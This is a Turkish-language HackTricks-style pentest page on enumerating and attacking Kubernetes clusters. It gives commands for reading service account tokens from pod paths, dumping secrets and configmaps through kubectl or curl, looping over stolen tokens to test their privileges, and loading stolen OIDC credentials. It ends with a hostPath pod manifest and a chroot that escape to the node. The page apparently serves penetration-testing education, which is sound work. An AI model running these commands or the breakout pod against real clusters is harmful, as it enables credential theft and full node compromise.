17 KiB
Kubernetes Enumeration
{{#include ../../banners/hacktricks-training.md}}
Kubernetes Tokenları
Eğer bir makineye erişiminiz varsa, kullanıcı bazı Kubernetes platformlarına erişim sağlayabilir. Token genellikle env var KUBECONFIG tarafından işaret edilen bir dosyada veya ~/.kube içinde bulunur.
Bu klasörde API sunucusuna bağlanmak için tokenlar ve yapılandırmalar içeren yapılandırma dosyaları bulabilirsiniz. Bu klasörde ayrıca daha önce alınan bilgileri içeren bir önbellek klasörü de bulabilirsiniz.
Eğer bir Kubernetes ortamında bir pod'u ele geçirdiyseniz, tokenlar ve mevcut K8 ortamı hakkında bilgi bulabileceğiniz başka yerler de vardır:
Servis Hesabı Tokenları
Devam etmeden önce, Kubernetes'te bir servisin ne olduğunu bilmiyorsanız, bu bağlantıyı takip etmenizi ve en azından Kubernetes mimarisi hakkında bilgi okumanızı öneririm.
Kubernetes belgelerinden alınmıştır:
“Bir pod oluşturduğunuzda, bir servis hesabı belirtmezseniz, otomatik olarak aynı ad alanındaki default servis hesabına atanır.”
ServiceAccount, Kubernetes tarafından yönetilen ve bir pod içinde çalışan süreçler için bir kimlik sağlamak amacıyla kullanılan bir nesnedir.
Her servis hesabının ona bağlı bir sırrı vardır ve bu sır, bir bearer token içerir. Bu, iki taraf arasında iddiaları güvenli bir şekilde temsil etmenin bir yolu olan JSON Web Token (JWT) 'dır.
Genellikle bir dizin:
/run/secrets/kubernetes.io/serviceaccount/var/run/secrets/kubernetes.io/serviceaccount/secrets/kubernetes.io/serviceaccount
aşağıdaki dosyaları içerir:
- ca.crt: Kubernetes iletişimlerini kontrol etmek için CA sertifikasıdır.
- namespace: Mevcut ad alanını belirtir.
- token: Mevcut pod'un servis tokenını içerir.
Artık token'a sahip olduğunuza göre, API sunucusunu KUBECONFIG ortam değişkeni içinde bulabilirsiniz. Daha fazla bilgi için (env | set) | grep -i "kuber|kube" komutunu çalıştırın.
Servis hesabı tokenı, sa.key dosyasında bulunan anahtar ile imzalanır ve sa.pub tarafından doğrulanır.
Kubernetes üzerindeki varsayılan konum:
- /etc/kubernetes/pki
Minikube üzerindeki varsayılan konum:
- /var/lib/localkube/certs
Hot Pods
Hot pods, ayrıcalıklı bir servis hesabı tokenı içeren pod'lardır. Ayrıcalıklı bir servis hesabı tokenı, gizli bilgileri listeleme, pod oluşturma gibi ayrıcalıklı görevleri yapma iznine sahip bir token'dır.
RBAC
Eğer RBAC'nin ne olduğunu bilmiyorsanız, bu bölümü okuyun.
GUI Uygulamaları
- k9s: Terminalden bir Kubernetes kümesini listeleyen bir GUI. Komutları kontrol edin https://k9scli.io/topics/commands/.
:namespaceyazın ve tümünü seçerek tüm ad alanlarındaki kaynakları arayın. - k8slens: Birkaç gün ücretsiz deneme sunar: https://k8slens.dev/
Enumeration CheatSheet
Bir K8s ortamını listelemek için şunlara ihtiyacınız var:
- geçerli bir kimlik doğrulama tokenı. Önceki bölümde bir kullanıcı tokenı ve bir servis hesabı tokenı için nerede arama yapacağımızı gördük.
- Kubernetes API'sinin adresi (https://host:port). Bu genellikle ortam değişkenlerinde ve/veya kube yapılandırma dosyasında bulunabilir.
- Opsiyonel: API sunucusunu doğrulamak için ca.crt. Bu, tokenın bulunabileceği aynı yerlerde bulunabilir. API sunucusu sertifikasını doğrulamak için yararlıdır, ancak
kubectlile--insecure-skip-tls-verifyveyacurlile-kkullanarak buna ihtiyacınız olmayacaktır.
Bu detaylarla kubernetes'i listeleyebilirsiniz. Eğer API bir nedenle İnternet üzerinden erişilebilir ise, bu bilgiyi indirip platformu kendi makinenizden listeleyebilirsiniz.
Ancak genellikle API sunucusu dahili bir ağdadır, bu nedenle ona erişmek için ele geçirilmiş makine üzerinden bir tünel oluşturmanız gerekecektir veya kubectl binary'sini yükleyebilir veya curl/wget/anything kullanarak API sunucusuna ham HTTP istekleri gönderebilirsiniz.
list ve get fiilleri arasındaki farklar
get izinleri ile belirli varlıkların bilgilerine erişebilirsiniz (kubectl'deki describe seçeneği):
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
Eğer list iznine sahipseniz, bir varlık türünü listelemek için API istekleri yapmanıza izin verilir (kubectl içindeki get seçeneği):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
Eğer watch iznine sahipseniz, varlıkları izlemek için API istekleri yapmanıza izin verilir:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
Bir değişiklik olduğunda (veya yeni bir tane oluşturulduğunda) size bir Deployment'ın tam manifestosunu döndüren bir akış bağlantısı açarlar.
Caution
Aşağıdaki
kubectlkomutları nesneleri listelemenin sadece nasıl yapılacağını gösterir. Verilere erişmek istiyorsanızgetyerinedescribekullanmalısınız.
curl Kullanarak
Bir podun içinden birkaç ortam değişkeni kullanabilirsiniz:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
Warning
Varsayılan olarak pod, kube-api sunucusuna
kubernetes.default.svcalan adı üzerinden erişebilir ve burada kubernetes DNS sunucusunun adresini bulacağınız/etc/resolv.configdosyasında kube ağını görebilirsiniz (aynı aralığın ".1" kısmı kube-api uç noktasıdır).
kubectl Kullanımı
Token ve API sunucusunun adresine sahip olduğunuzda, buradaki gibi erişmek için kubectl veya curl kullanırsınız:
Varsayılan olarak, APISERVER https:// şeması ile iletişim kurmaktadır.
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
Eğer URL'de
https://yoksa, Bad Request gibi bir hata alabilirsiniz.
Aşağıda, erişim sağladığınız yeni K8s'i sıralı bir şekilde enumerate etmek ve anlamak için farklı seçenekleri sunmak amacıyla bölümler bulunmaktadır.
kubectl'ün gönderdiği HTTP isteğini bulmak için -v=8 parametresini kullanabilirsiniz.
MitM kubectl - kubectl'ü Proxy'leme
# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
Mevcut Konfigürasyon
{{#tabs }} {{#tab name="Kubectl" }}
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
{{#endtab }} {{#endtabs }}
Eğer bazı kullanıcıların kimlik bilgilerini çalmayı başardıysanız, bunları yerel olarak yapılandırabilirsiniz şöyle bir şey kullanarak:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
Desteklenen Kaynakları Al
Bu bilgilerle listeleyebileceğiniz tüm hizmetleri bileceksiniz
{{#tabs }} {{#tab name="kubectl" }}
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
{{#endtab }} {{#endtabs }}
Mevcut Yetkileri Al
{{#tabs }} {{#tab name="kubectl" }}
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
{{#endtab }}
{{#tab name="API" }}
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
{{#endtab }} {{#endtabs }}
Yetkilerinizi kontrol etmenin bir diğer yolu, aracı kullanmaktır: https://github.com/corneliusweig/rakkess****
Kubernetes RBAC hakkında daha fazla bilgi edinebilirsiniz:
{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}
Hangi yetkilere sahip olduğunuzu öğrendikten sonra, yetkileri yükseltmek için bunları kötüye kullanıp kullanamayacağınızı öğrenmek için aşağıdaki sayfayı kontrol edin:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}
Diğer Rolleri Alın
{{#tabs }} {{#tab name="kubectl" }}
k get roles
k get clusterroles
{{#endtab }}
{{#tab name="API" }}
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
{{#endtab }} {{#endtabs }}
Ad alanlarını al
Kubernetes, aynı fiziksel küme tarafından desteklenen birden fazla sanal küme'yi destekler. Bu sanal kümelere ad alanları denir.
{{#tabs }} {{#tab name="kubectl" }}
k get namespaces
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }} {{#endtabs }}
Gizli bilgileri al
{{#tabs }} {{#tab name="kubectl" }}
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }} {{#endtabs }}
Eğer gizli bilgileri okuyabiliyorsanız, her bir token ile ilgili ayrıcalıkları almak için aşağıdaki satırları kullanabilirsiniz:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
Hizmet Hesaplarını Al
Bu sayfanın başında tartışıldığı gibi bir pod çalıştırıldığında genellikle ona bir hizmet hesabı atanır. Bu nedenle, hizmet hesaplarını, izinlerini ve nerede çalıştıklarını listelemek, bir kullanıcının ayrıcalıkları artırmasına olanak tanıyabilir.
{{#tabs }} {{#tab name="kubectl" }}
k get serviceaccounts
{{#endtab }}
{{#tab name="API" }}
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }} {{#endtabs }}
Dağıtımları Al
Dağıtımlar, çalıştırılması gereken bileşenleri belirtir.
{{#tabs }} {{#tab name="kubectl" }}
k get deployments
k get deployments -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
{{#endtab }} {{#endtabs }}
Podları Al
Podlar, çalışacak olan gerçek konteynerlerdir.
{{#tabs }} {{#tab name="kubectl" }}
k get pods
k get pods -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
{{#endtab }} {{#endtabs }}
Servisleri Al
Kubernetes servisleri, bir servisi belirli bir port ve IP'de açmak için kullanılır (bu, aslında servisi sunan pod'lara yük dengeleyici olarak işlev görecektir). Bu, saldırmaya çalışmak için diğer servisleri nerede bulabileceğinizi bilmek açısından ilginçtir.
{{#tabs }} {{#tab name="kubectl" }}
k get services
k get services -n custnamespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
{{#endtab }} {{#endtabs }}
Düğümleri Al
Küme içinde yapılandırılmış tüm düğümleri al.
{{#tabs }} {{#tab name="kubectl" }}
k get nodes
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }} {{#endtabs }}
DaemonSet'leri Al
DaemonSet'ler, belirli bir pod'un kümenin tüm düğümlerinde (veya seçilenlerde) çalıştığından emin olmayı sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen pod'lar da kaldırılacaktır.
{{#tabs }} {{#tab name="kubectl" }}
k get daemonsets
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
{{#endtab }} {{#endtabs }}
Cronjob Al
Cron işleri, belirli bir eylemi gerçekleştirecek bir pod'un başlatılmasını crontab benzeri bir sözdizimi kullanarak planlamaya olanak tanır.
{{#tabs }} {{#tab name="kubectl" }}
k get cronjobs
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
{{#endtab }} {{#endtabs }}
configMap al
configMap her zaman kubernetes'te çalışan uygulamalara sağlanan birçok bilgi ve yapılandırma dosyası içerir. Genellikle, diğer iç/dış hizmetlere bağlanmak ve doğrulamak için kullanılan birçok şifre, gizli anahtar ve token bulabilirsiniz.
{{#tabs }} {{#tab name="kubectl" }}
k get configmaps # -n namespace
{{#endtab }}
{{#tab name="API" }}
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }} {{#endtabs }}
Ağ Politikalarını Al / Cilium Ağ Politikaları
{{#tabs }} {{#tab name="İlk Sekme" }}
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
{{#endtab }} {{#endtabs }}
Her Şeyi Al / Tüm
{{#tabs }} {{#tab name="kubectl" }}
k get all
{{#endtab }} {{#endtabs }}
Helm tarafından yönetilen tüm kaynakları alın
{{#tabs }} {{#tab name="kubectl" }}
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }} {{#endtabs }}
Pod Tüketimlerini Al
{{#tabs }} {{#tab name="kubectl" }}
k top pod --all-namespaces
{{#endtab }} {{#endtabs }}
Pod'dan kaçış
Yeni pod'lar oluşturabiliyorsanız, bunlardan node'a kaçış yapabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçiş yapmanız ve ardından node'un sistemine chroot yapmanız gerekir. Mevcut pod'ları yaml dosyası için referans olarak kullanabilirsiniz çünkü mevcut görüntüleri ve yolları gösterirler.
kubectl get pod <name> [-n <namespace>] -o yaml
Eğer belirli bir düğümde pod oluşturmanız gerekiyorsa, düğüm üzerindeki etiketleri almak için aşağıdaki komutu kullanabilirsiniz.
k get nodes --show-labelsGenellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master, seçim için iyi etiketlerdir.
Sonra attack.yaml dosyanızı oluşturursunuz.
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
Bundan sonra pod'u oluşturursunuz.
kubectl apply -f attacker.yaml [-n <namespace>]
Artık oluşturulan pod'a aşağıdaki gibi geçiş yapabilirsiniz.
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
Ve sonunda düğümün sistemine chroot yaparsınız.
chroot /root /bin/bash
Bilgi alındı: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
Referanslar
{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}
{{#include ../../banners/hacktricks-training.md}}